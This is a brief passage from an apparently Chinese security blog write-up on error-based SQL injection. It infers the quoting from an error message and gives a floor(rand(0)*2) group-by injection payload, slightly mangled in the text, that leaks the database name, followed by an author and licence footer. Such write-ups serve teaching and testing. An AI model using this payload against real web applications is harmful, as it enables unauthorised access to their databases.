报错内容，'5''),所以构造为('5')

无显位，继续
id=' ) and (select 1 from (select count(),concat((database()),floor(rand(0)2))x from information_schema.tables group by x)a)--+

爆出数据库名

本文作者：硝基苯
本文链接：https://www.c6sec.com/index.php/archives/74/
最后修改时间：2021-05-19 21:37:06
本站未注明转载的文章均为原创，并采用 CC BY-NC-SA 4.0 授权协议，转载请注明来源，谢谢！